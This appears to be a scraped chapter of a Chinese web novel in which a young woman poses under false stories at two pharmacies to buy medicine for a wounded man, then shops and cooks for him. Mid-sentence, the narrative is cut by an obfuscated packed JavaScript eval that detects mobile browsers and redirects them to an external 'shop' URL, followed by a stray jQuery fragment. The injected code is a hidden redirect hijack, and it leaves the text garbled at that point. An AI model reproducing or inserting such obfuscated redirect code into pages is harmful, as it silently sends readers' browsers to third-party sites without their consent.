清栀镇。
竹音住的村子离城镇并不算远,小半个时辰就能走到。
此刻的她,早已拔下插在头上的簪子,利落的给自己盘了个妇人发髻,扮作新婚小妇人的模样,做出一副焦心忧虑之态,哭哭啼啼的进了一家从未去过的药铺,问掌柜的买内伤药:
“我婆婆晌午爬梯子取阁楼上的粮食,不慎摔了下来,当时人就不好了。大夫说她伤到了肺腑,要吃这副药,求掌柜您快些帮我抓了,我得赶紧拿回去煎给她吃!
她可千万不能出事,不然家里那口子回来,不得怨死我!说不定还会把我休了,嘤嘤嘤……”
她这幅不经事的样子,看的掌柜都同情她了。
婆媳矛盾向来难以调和,尤其是这种性子弱的小媳妇,遇到这种事,只能自认倒霉。
掌柜一边手脚麻利的给她抓药,一边安慰她:“她自己摔的,总不能全怪你,你要的这一副是上好的药,吃了药,再好好看顾着,说不定人就好转了。”
他把药称好,顺手播了算盘:“一共一两二钱银子。”
“这么贵啊……”竹音故意露出肉痛的表情,磨磨蹭蹭从荷包里掏出一块早就剪好的碎银子,放到柜台上,眼里全是对钱的不舍:“唉,多谢掌柜吉言,只盼着这些药能见效,嘤嘤嘤……”
从第一家药铺里出来,竹音把药包放进背篓里,用破布盖上,去了几条街外的第二家药铺。
她又把头发放下来,盘成小姑娘模样,再随意抓乱,做出一副惊慌失措的姿态,满脸眼泪的冲进药铺里,让人给她抓外伤药:“掌柜的,快帮我抓药!我阿姐今日上山捡柴,不知道从哪冲出来一头野猪,把她给顶了,呜呜呜!
我们好不容易把她救下来,但她身上被那野猪獠牙顶出了好些伤口,血流不止,村里的大夫说,让我抓这幅药给她吃,能不能熬过来,就看命了,我可怜的姐姐啊……”
掌柜的被这飞来横祸的惨事触动,大动恻隐之心,跟着她一起骂那不长眼的野猪。
当然,商人本色也没忘,抓完药后,还给她推荐店里的金疮药:“这外伤啊,也得涂抹,用它最好了,虽然贵些,但好些人都说用了它后能不留疤,你姐姐还没出嫁吧?现在正是愈合伤口的关键时刻,得赶紧用上,留了疤痕,可就不好嫁人了。”
掌柜这话是有水分的,就他们这小地方,哪有那种完全祛疤的好物?这金疮药好是好,但顶多能让人的伤口愈合后疤痕略微浅一些罢了。
竹音思量着玄烬那瓶神奇药粉也快空瓶了,本着对金主身体负责的态度,还是拿了一瓶。
多用点儿药,伤口好的快一些,三天后他就能顺利的走了。
这回花了三两银子。
竹音抹着眼泪,哭着走出药铺,一边走还一边抽泣:“花了这么多银子,家里可欠了大钱了,阿姐一定要撑过去啊……”
掌柜同情的目送她的背影,还和伙计感叹:“你说说这事儿,运气多不好,咋还被野猪顶了?”
伙计不以为然道:“这还算好的,还能救,若是被毒蛇咬了,就得当场一命呜呼了。”
竹音出了药铺,跑到无人的地方,放好买的药,然后把凌乱的头发梳好,终于开始买正常东西了。
她是个很警惕的人,故意用了两个借口混淆视听,往后即便有人来查,也很难把玄烬这个大男人的伤势和两个倒楣的女人扯上。
她先去了成衣铺子,打着给亲戚送礼的名号,给玄烬买了两身柔软的细布衣服,一套黑色,一套蓝色。
其实粗布的更便宜,但他那身黑衣的质地就很不错,一看就是高级货,竹音觉得也不能太把金主当傻子忽悠,买的东西至少要面子上过得去。
所以她顺便还买了两双鞋。
鞋号是她用稻草量出来的,此时把那根稻草拿出来一对比,鞋袜的尺码就对上了。
“大娘,我买这么多,你再送我两条犊鼻裈吧!”竹音看了看店里挂着的衣服,忽然说。
掌柜大娘闻言,白眼都要翻到天上去:“你这小丫头懂不懂啊,哪有人送礼送犊鼻裈的?”
“哎呀,我拿回去给我爹穿嘛!我爹那犊鼻裈都晃线了,还舍不得扔,晾在院子里贼丑,我娘都抱怨好几回了,我要是带两条新的回去,她一准夸我。”竹音抱着大娘的胳膊撒娇:“我买了这么多东西,您就给我点搭头吧,下回我还来,给你带新客。”
三言两语间,这爱占便宜的乡下丫头人设算是立住了。
掌柜大娘故作亏本姿态,不情不愿的找了两条犊鼻裈出来给她:“我这可没有便宜货,这都是细棉布做的,两条犊鼻裈送给你,这单都要亏死了。”
实际上那犊鼻裈都是做成衣剩下的边角料做的,根本没用多少布料。
竹音亲亲热热的喊着大娘,谢过她的慷慨,提着衣服鞋子出了门。
依旧是放到背篓里,衣服鞋子塞进去之后,背篓的重量直线增加,压的竹音的肩膀一酸。
竹音再一次吐槽,这副身体真是太弱了,但凡让她穿到侠女身上,也不至于这么被动。
现在是深春时节,天还不够长,太阳落山后,路上就不安全了,她得赶紧买了吃食回去,以防万一。
买吃的便没那么多讲究了,兜里有钱,心里不慌,竹音便准备按照自己上辈子的食谱吃。
思量着家里还有个病患,她买的食材都很清淡。
两根白萝卜,一颗白菜,几根带肉的筒子骨,一条腊肉,一提腊肠,一包点心,然后是油、盐、糖等调味品,最后是一小袋米,一小袋面,十几个鸡蛋……
直到把背篓装的满满当当,竹音才停下购物,开始往回走。
路过一个卖糖的小商贩时,她又顺手买了包花生糖,准备给病患吃。
流了那么多血,该补充点高热量。
等她背着背篓风尘仆仆的赶回家时,太阳刚刚西斜。
竹音在老宅外面看了一圈,确认离开后无人造访,这才用钥匙打开门进了院子。
进去后,她从里面拴上院门,这才往屋里走去。
她的动静不小,玄烬早早便看向了门口,等她把门推开,两人的视线便刚好对在了一起。
“你还好吧?”竹音看了他一眼,放下背篓,反手关上门,揉着酸痛的肩膀朝他走去。
这背篓真是太重了,背了这一路,现在只觉得腰酸背痛,估计她的肩膀都被压的青紫了。
玄烬还维持着之前的姿势,平躺着,轻轻“嗯”了一声。
竹音很自然的走上前,掀开被子,查看了一下他的伤口,发觉没有鲜血溢出,松了一口气,又给他盖上:“药我买回来了,这就给你煎上。晚上吃萝卜炖大骨,再煮几个鸡蛋,多吃点蛋白质……不是,多吃点蛋白和肉,好的快。”
竹音在心里打了下嘴,差点就说秃噜了。
好在玄烬没察觉到异样,他怕冷似的,默默把被子往上扯了扯,盖到脖子处,只露出一个头,然后对她感激的说:“辛苦了。”
“不辛苦,应该做的。”竹音浑不在意的挥了挥手,把背篓提过来,准备将战利品展示给他看:“我今天给你买了两套衣服,一套黑的,一套蓝的,还有两双鞋,两双袜子,两条犊鼻裈,晚上我烧一锅热水,再好好给你擦擦身体,把新衣服换上……”
“犊、犊鼻裈?”玄烬冷静自持的脸上忽然出现了一条裂缝。
他有些不可置信的看向竹音,发觉竹音正认真的在背篓里掏东西,又赶紧把表情收了回来,恢复冰山模样。
“是啊,我想着你得换洗嘛,你那裤子也沾了血,给你处理伤口时,你还出了不少汗,这一身都得换了。
你放心,我不是变态,待会儿给你换裤子的时候,我闭着眼。”竹音一本正经的说道:“既然你给了钱,我这三天肯定会把你伺候好,你不用担心。
哦!对了,我还给你买了点心和花生糖,做饭还要一会儿,你先吃点儿垫垫肚子。”
说着,她把点心和糖拆开,先给他嘴里塞了一颗花生糖,又给他手里放了一块点心,照顾小孩子一样说:“你先吃,吃完了喊我,我再给你拿,我先去给你煎药了。”
玄烬:“……”
他拿着点心,含着嘴里的糖,一时无言,根本不知道该怎么接话。
这、这姑娘,跟他以往见过的全都不一样!
一想到她晚上要给他擦身体,还要换犊鼻裈,玄烬表面上面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092787|195508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无表情,八风不动,实际上心里都要羞赧的找个洞钻进去了。
她怎么一点都不觉得这事奇怪啊!
厨房里,竹音找了个积灰已久的小炉子出来,添了柴火进去,正在淡定从容的给玄烬煎药。
幸好她小时候家境贫寒,住在农村,会用这些柴火老灶,不然现在就要抓瞎了。
把药罐子煮开后,她退了大部分柴火,只留小火慢慢煎着,然后去大灶上做饭。
筒子骨被屠户剁成两半,露出里面的骨髓,上面的肉也不少,足够两人饱餐一顿。
竹音把萝卜和肉简单清洗了一下,给萝卜削了皮,改刀切成大块,又给筒子骨焯了水,随后便重新添了一锅水,将二者放进去,辅以盐和葱姜,简单粗暴地炖了起来。
趁着炖萝卜大骨汤的时间,她又淘了米,装在两个大碗中,用几根筷子支在锅里,把碗放在上面,盖上盖子,下面煮,上面蒸,准备饭菜一锅出。
懒人做饭就是这么简单。
竹音忙完这些,看了眼厨房里所剩无几的柴火,叮嘱自己明天要去捡柴,随后出了厨房,去屋里看玄烬。
玄烬已经吃完了花生糖和点心,此时正目光放空的看着布满蛛网的破旧屋顶,不知道在想些什么。
竹音自己拿了一块儿点心,塞进嘴里,又给他拿了一块儿,递到他面前:“吃完了怎么没喊我?”
玄烬收回目光,看着她,欲言又止。
“怎么了?”竹音看了看点心,疑惑道:“不好吃吗?我觉得还行啊,你要不喜欢这个,要不再吃点糖?”
玄烬动了动嘴唇,硬着头皮,艰涩的说道:“那个……犊鼻裈……不用……”
竹音没等他说完,便明白了意思,她高高扬起眉毛:“你不想换?”
玄烬顿时语塞,半晌后艰难的“嗯”了一声。
竹音“啧”了一下,有点嫌弃的看着他:“你这男人,真不爱干净。”
“不……”玄烬差点哽住。
他很爱干净的,他甚至还有点洁癖,但让一个大姑娘给他换犊鼻裈,这对他来说,还是太难为情了。
竹音看着他窘迫的神情,忽然笑出声,善解人意的说道:“我买犊鼻裈也是为你考虑,你既然不想换,我当然尊重你的意见,只要你不嫌脏衣服难受,我没问题,不换就不换,你别这么紧张。”
玄烬紧绷的身体立刻放松了一点,他看着她,复杂的眼神中充斥着无奈。
竹音轻快又短促的笑了一下,把点心重新举到他面前:“再来一块?”
“好。”玄烬接过点心,放在掌心,小口小口的啃食着,尽量不让碎屑掉到枕头上。
若非身体受限,他真的很爱干净。
两个人吃着东西,相顾无言的坐了一会儿,气氛倒是意外的和谐。
等到饭快熟了,竹音又拿了个碗,打了四个鸡蛋,加了少许盐和油,放到锅里蒸着,一个非常简单的鸡蛋羹。
鸡蛋羹蒸熟后,她先把热腾腾的鸡蛋羹和两大碗白米饭端出来,又把炖的清甜软烂的萝卜大骨汤盛到陶盆里,端到桌上,最后才给玄烬倒了一碗黑乎乎的苦涩药汁出来。
“先吃饭,药晾着,吃完了正好能喝,这是内伤药,喝三天,那个外伤药,你到时候拿走,自己煎吧。”竹音说。
玄烬对此并无异议,只朝她点头。
竹音左顾右盼,从角落里找了张矮桌子出来,把饭菜挪到上面。
又把屋子里仅剩的一床被子拿出来,叠成豆腐块,小心翼翼的扶着玄烬,让他坐起来,半靠在上面,方便吃饭。
这一通折腾,又叫她出了一身汗。
今晚不管玄烬换不换衣服,总之她是要从头到脚再换一身的。
“我喂你?”竹音看他坐的艰难,决定发挥人道主义精神,送佛送到西。
她拿起勺子,舀了一块大骨头上脱落的瘦肉,送到玄烬嘴边。
玄烬看着递到唇边的肉,表情有一瞬间呆滞。
长这么大,还从来没人喂他吃过饭。
这种陌生的场景,让他不由自主的感到慌乱和不自在,他竭力维持住镇定的表情,忍着伤痛想要抬起手臂:“我、我自己来吧……”